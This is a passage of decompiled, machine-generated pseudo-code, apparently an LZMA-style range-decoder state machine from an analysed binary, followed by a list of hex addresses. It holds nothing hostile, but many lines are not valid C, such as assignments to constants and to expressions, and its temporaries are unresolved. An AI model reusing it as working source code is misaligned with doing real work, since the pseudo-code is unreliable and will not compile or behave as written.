												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406365
0x00406365
0x00406369
0x00406376
0x00406380
0x00000000
0x0040636b
0x0040636b
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00406614
0x00406614
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
